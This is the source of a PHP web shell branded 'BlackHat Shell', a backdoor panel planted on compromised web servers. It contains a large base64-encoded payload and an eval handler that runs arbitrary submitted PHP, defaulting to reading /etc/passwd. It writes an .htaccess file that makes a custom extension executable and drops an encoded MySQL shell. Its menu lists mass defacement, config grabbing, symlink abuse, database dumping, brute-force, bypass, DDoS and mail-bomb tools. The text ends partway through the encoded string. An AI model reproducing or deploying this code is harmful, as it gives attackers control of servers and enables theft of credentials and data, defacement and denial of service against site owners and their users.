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';
?>
<html><head><link rel="SHORTCUT ICON" href="http://www.blackhatteam.com/styles/blackhat/statusicon/forum_old-48.png"><title>BlackHat Shell</title>
<script language="javascript" type="text/javascript">
function resizeIframe(obj) {
obj.style.height = obj.contentWindow.document.body.scrollHeight + 'px';
}
</script>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
select{
width: 150px;
height: 20px;
padding: 1px;
color: green;
}
select option { color: red; }
select option:first-child{
color: green;
}
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
font-size:10px;
font-family:Tahoma, Geneva, sans-serif;
color:#ffffff;
}
#menu{
background:none;
margin:8px 2px 4px 2px;
}
#menu a{
padding:3px 10px;
margin:0;
background:#3C953D;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: #00ff00;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#00ff00;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #00ff00;
border-top:1px solid #00ff00;
}
.output {
margin:auto;
border:1px solid #00ff00;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family: ;}
.b374k{
font-size:30px;
padding:0;
color:#444444;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:0px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style></head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById('cmd').focus();" bgcolor="#000" marginwidth="0" marginheight="0" style="background: black url(http://robertwdempsey.com/wp-content/uploads/2016/01/black-hat-data-wrangler.jpeg)
no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover;
background-size:cover;" onload="type_text()" bottommargin="0" rightmargin="0" leftmargin="0" topmargin="0">
<div class="main">
<!-- head info start here -->
<div class="head_info"><center>
<table class="b374k_tbl"><a href="?"><span class="b374k"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALQAAAC0CAMAAAAKE/YAAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5NjIxMjNGRDkzODMxMUUzOEJGOUZBMTQ5RjgwMUE5NCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5NjIxMjNGRTkzODMxMUUzOEJGOUZBMTQ5RjgwMUE5NCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjk2MjEyM0ZCOTM4MzExRTM4QkY5RkExNDlGODAxQTk0IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjk2MjEyM0ZDOTM4MzExRTM4QkY5RkExNDlGODAxQTk0Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+dmCOigAAAuJQTFRFAAAA////AQEBAgICAwMDBAQEBQUFCwsLCAgIBgYGCQkJDQ0NDw8PDAwMCgoKDg4OBwcHEBAQEREREhISExMTFRUVFhYWFxcXeHh4FBQUGBgY8PDwHh4e8/Pz/v7+/Pz8HR0d/f39zs7OkJCQ7+/vNTU1MDAwvb29wsLCxcXF+Pj4dXV1i4uLurq67e3tZmZm3t7eNDQ0KioqMzMzJSUlycnJSUlJISEhR0dHd3d34uLiGRkZKysr8vLyHBwc6enpjIyMjY2NQkJC+vr6VFRUIyMjvr6+mpqaqampsrKytra2Ghoa4ODg9vb2XFxccnJyHx8fysrKW1tb9PT02NjYlJSUrKysTk5OWVlZcHBwoqKi1dXV09PThoaG3Nzcv7+/eXl5RUVF1tbWq6ur+/v7LS0tb29v7u7uIiIiQ0NDJCQkPT090dHRx8fHYWFhZWVlpqamgoKC2dnZ9/f3qKiolpaWTExMUlJSVlZWoaGh0NDQU1NT2trabGxsiIiImZmZGxsbg4ODODg4V1dXKSkpm5ub3d3dyMjIbW1tOTk5t7e3l5eXs7OzioqK5ubmubm5fX19qqqqYmJiSEhI+fn54+Pj7OzsfHx8Li4uQUFBjo6O5OTkMjIysLCwbm5u6urqy8vLuLi4Z2dnNzc3QEBAICAgWFhYa2trz8/PNjY2gICAoKCgLy8vvLy8kpKSmJiYnp6ep6enn5+fSkpKcXFxMTExY2Njrq6uo6Oj1NTUKCgowcHBhYWFampqzc3Nu7u7dnZ2S0tLJycnnZ2dgYGBnJyclZWVT09P9fX16+vrc3Nzk5OTPj4+sbGx4eHhra2t6OjoOzs7zMzM39/fhISEj4+Ph4eHdHR0XV1dRkZGTU1Nfn5+w8PDPDw88fHxwMDAaGhoOjo6UFBQZGRkiYmJPz8/xsbGr6+vYGBgpaWlWlpaXl5eJiYmUVFRkZGRVVVVtLS0f39/pKSkaWlptbW1xMTEEEV+aQAACRlJREFUeNrsnGV0HdcRx3fvMtMDvSdZlixLli3FtiTHsmNbicxMqSExM8bMTswMMTVmCDbQJE0aZmZOw2Vmbr/3KXVP4iT7du7uXVk95/6OvujLf0bjCzN3Zs0wFAqFQqFQKBQKhUKhUCgUCoVCoVAolJYHQohDPPc5PM/lfm3Z7nK8INqyahqWrhk5NMvSJFO2FaHJ+Rbocc5h29QcR7e0pp9sUUlJUdaxcui662imLfI5v1GLCrGiGm5C09Ts8V+vHn/diNert+/du7H64xGz/7i69+l07q9JeJZqCzxqMTG2JS2RTrld+j5b9k77ZYXL2S9RWjh51MCV3X8xK5VMZxypRfiNOFHVdK+hy7xjj6xry/ry2oSbJnXddltG103lIruNeFlzjXTduF/dOIcNpHDhmOHlKSfhyCKHLqLLVlLvMW3zNTNZKO8vfWWklXLNi+M2QoJspTL9Fo29nMWi7aBdRZmsq4rcRYiyrTmp5zu178Dic+mxhxpcSxZQM4dZkXS99ubKPmw4plfN0lyrWbckJ8gJNz38HjYCOxcXZZJS8y1tTrTS7rwV32ajsW9VOuvYzRJslDsz9MT8qdezkTm3oWfSk5pjZSNB0t3eg1giTPlz1tXE+H0WdT014gaWEIWbGzxHiXdhI872kj2/zxLkrTvTSTPOJcIJppO69RqWKBP/ms0YQowXiukmt3ZmCfNaJ8fT+Bh91v55lCXOlVNTGTOeow/xUip59ko2DsqKemgiiiXOyfrG1mw8jBmZthSOvM+qkypjY6MsmyAfa051pKrS+Jxmr+iRlAif15zsZG5uxcbJi+mUTdZrxctsXR6rz+zMqpQnEzxDkKBn5r3Nxkzhasu1yW1GXtIev5SNnYkVrk5sM3KylX2UbQYO1CcMQlcjp+jWx4EG+0xfOP3fS36/ZMnAR1+sKviC7s+OebvDW5OqZ+ybGLyRG4ckbURmQVvup0EVd+uVIz3Hk1DTk+nXFJJd5NwSE52Hrg1yetjopEtkgXBqsl+7AGOvrgdJ1QSW7ssqPBILBIle4skAU626AcWeDFwgAxxP5gikSVrvwgBLnaBqqY6BC2SNZUWuv5CiJc8EGBoLl3sjMNQ/ne+qXNRdqJmfBJgpfQ6udyI4fXk95SnR9iKS9eeDrpVe5XA98/1Ap39wS1aKFmreSlQFWencgCG4P/iKOeklIhW6SM50mR5kpI2NoTgu2OnL6hwzSqgF3QgMNNsORzF7WbDXkww9QnWObHf+xEAbM7A0Lwl2euh7RoRQ85p9HaDmwNL8EJA4TdX08Kta1NN/CzZxFZbmeEDN9nRPPfS1yMn2quDMrLQvlujItoBQb81lICFDLUiJDcEGcI7pJr4FcPpQkSeG3YZSzeRgA0dvw5MdC3C6452pkHc5p1qjAQZuwEwlfwipYbq7Fh/y7Mi+AGlVYcp+B+L0JZanhHw26Ad5IR2IKVsBcXpojaOiUKvDXQ/pBVVj6iYgx0fxbDnU6y9vSCchQTmIqSu1h6h+13CEUDeLXhksXvpub1zhE2vb7QjeKT2NEBUuUozTQUv6xrUF3WrDBGTTK3f9Nn8NV9jVlFGI61AZnW9JF1fO/rETJVXvOTpv7rTYlvgQS5o5mOcafOm4FLnQl2sG+GcJZckQTguG6N96u6ecIcOWKX4mBnUJ0agT1blP+AleTfDh+x9+9VCFhL8TFblugl89lCb59O1zAr66QMJ+1kO28qnfLTBKIem0X5nxnIGdMyFV7OvXyrq8hKTT3X2sPOVi11xI4hb7X1cEfdb98utjCezGEZKUq/xPvA+I+ew842djZRr7/TSXLl2R5+jfKJHxucj/ghmQ1QRspxN/yXdhVdYRcFlYdMrfwp5NGu5BzUuJxvxv/41FUX3u+kzeqZsS7Ccb3ky+HPRSuD8TxeXxg4vzyvcvcXCLW94uCp5TOnVX2Gj3uP2O4qDXtjBO1wMesNhW1bvxE0iv64cdg6XDOC0PuR/W/BvcScMRVrstbQPSbVeiYztt5j3yLrggVRzh2dCRkf6bLPwjz20Equ/BEr4P2r5tNwT7yMud028A1feRfuo9n/+msS8XZKpTgertcfIaZSF4Qigl4T5CcibzO6B6Z5z0eht4RHySh90vQjIzHqje5wSG7hrwSMIuHT81tbkjw4Dy3TF0D4KdXhOiCFD4W4YC5c9gVJ7/gvrc5+cyfjdAtOt/BJ1grAWrPg7+hGDoaRm/cSuoxlioAXjX5TB4ddw0V8V/QuAlphpqYB24/QmfCB6QUvHbLpzKHAYPDx4Biu6GzzM9KJj4L0xIUbaA5/4PAEUHg31uPY4J0XVBouG1gZqY+SZIsxM80NdWKGEGKHiDvxpsYwpIctdO8CTzIUsK84aMZPVhaBrZZvIDMNH3NpyCKRYwRpieHFK0WYACgy0+unaBV1sHjcvc7xUDRNvOU+RQLVteS0A2zoz/1gBgE3oh5J8uYYWbCeJU6SxA/+kklqoFivReQQs38oEUsQbSPtvxJ5wS8QBkRS+/VQs7hsDLGdD5sWMIXPNe0DZ8wtPDDudxMvMJyMZ9YMlusLPjrCGFHZ1AijB/AsjINKhiJUju+lly+NnNXNK0GWRlJ1DwM1ig7zXM8JNXyBaPvwsy8weY4ECQWK/eTJTJTcHgXgbZWQcz8huQ2P2iGeVTZ06W6oJvxc79D42AbfbaRSf3PBY0FtVhGm9GmaFGgmHk/4xozpm/r2/A0tR3P7gxb/o4Q9SjTcgiW7n7nP+o0fa+20LJeluGv+A3CjnsTUmNNqyOeJv7wKdcvuP2HlGkk+UftfmmNOQl04r6WQBno7nf1DQrfmccgaZLxdJRX81+z92tRP+uKHdWP/x1n1d0JdWT61Z24VfGT3EEvrhFiqE+8tXW1gMMQeoPf+lTkv4iR+JTqNxfXnvBpulVIDFkSfzsfyuwVQ1D5FtKJEgXVKSjyhnyGPtnnn/24cl83odEQdj+xeBxTB/UT2uaEF1BTg+JjHJ+KqPDL5m46PcYOyFDUA8hpuLz/5PmJ58x8VG+bBVpyaYR0VZHmDjJkpcsYOcsYP7v+Gg4Q6FQKBQKhUKhUCgUCoVCoVAoFAqFEjv/EWAAM9JhtNkKmioAAAAASUVORK5CYII=" /></span><br></a><b>BlackHat Shell</b><br>-= 1 n 7 3 c t i o n R e c o d e d B y 0 x 1 9 9 9 =-<hr><center><?php echo $buff; ?><center></td></tr></table></td>
</tr></center>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>">Home</a>
<a href="?<?php echo "y=".$pwd; ?>&x=indomieseleraku">Server Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mysql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=joneshackel">Zone-H</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jumpingz">Jumping Server</a>
<a href="?<?php echo "y=".$pwd; ?>&x=grabconfig">Config Grabber</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlinkmenu">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain Viewer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dump">DB Dump</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=cpmenu">Cpanel Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bfmenu">BruteForce Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypasmenu">Bypass Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wpmenu">WordPress Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jmmenu">Joomla Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=litespeedconfig">LitespeedConfig</a>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode Decode</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=tools">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">DDOS</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whois">Whois</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcsdec">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bingreverse">Reverse IP</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mailerz">Mailer Inbox</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mailfilter">Mail Filter</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mailbomber">Mail Bomb</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shellfinder">Shell Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
<br><br>
</div></center>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>";
mkdir('mysql', 0755);
chdir('mysql');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3F